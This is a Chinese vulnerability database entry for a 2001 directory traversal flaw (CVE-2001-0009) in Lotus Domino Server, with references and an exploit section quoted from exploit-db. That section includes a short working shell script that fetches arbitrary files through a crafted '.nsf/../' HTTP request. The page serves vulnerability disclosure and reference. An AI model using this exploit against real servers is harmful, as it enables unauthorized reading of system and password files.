Lotus Domino Server远程目录遍历漏洞

Lotus Domino Server远程目录遍历漏洞

漏洞ID 1106155 漏洞类型
发布时间 2001-01-05 更新时间 2005-05-02
图片[1]-Lotus Domino Server远程目录遍历漏洞-安全小百科CVE编号 CVE-2001-0009
图片[2]-Lotus Domino Server远程目录遍历漏洞-安全小百科CNNVD-ID CNNVD-200102-045
漏洞平台 Multiple CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/20530
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200102-045
|漏洞详情
LotusDomino是一种跨平台的WEB服务器,集成了很多交互式WEB应用程序。LotusDomino对用户请求处理上存在漏洞,远程攻击者可能利用此漏洞遍历服务器目录访问任意系统文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/2173/info
 
It is possible for a remote user to gain access to any known file residing on the Lotus Domino Server 5.0.6 and previous. A specially crafted HTTP request comprised of '.nsf' and '../' along with the known filename, will display the contents of the particular file with read permissions.
 
Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host.

#!/bin/sh

HOST=$1
PATH=$2

start()
{
	/usr/bin/lynx -dump http://$HOST/.nsf/../$PATH
}


if [ -n "$HOST" ]; then 
        start
else
        echo "$0 <host> <path>"
fi
|参考资料

来源:BID
名称:2173
链接:http://www.securityfocus.com/bid/2173
来源:BUGTRAQ
名称:20010109bugtraqid2173LotusDominoServer
链接:http://www.securityfocus.com/archive/1/155124
来源:BUGTRAQ
名称:20010105LotusDomino5.0.5WebServervulnerability-readingfilesoutsidethewebroot
链接:http://www.securityfocus.com/archive/1/154537
来源:XF
名称:lotus-domino-directory-traversal(5899)
链接:http://xforce.iss.net/static/5899.php
来源:OSVDB
名称:1703
链接:http://www.osvdb.org/1703

相关推荐: NetScreen Firewall Denial of Service Vulnerability

NetScreen Firewall Denial of Service Vulnerability 漏洞ID 1103563 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2001-01-08 更新时间…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享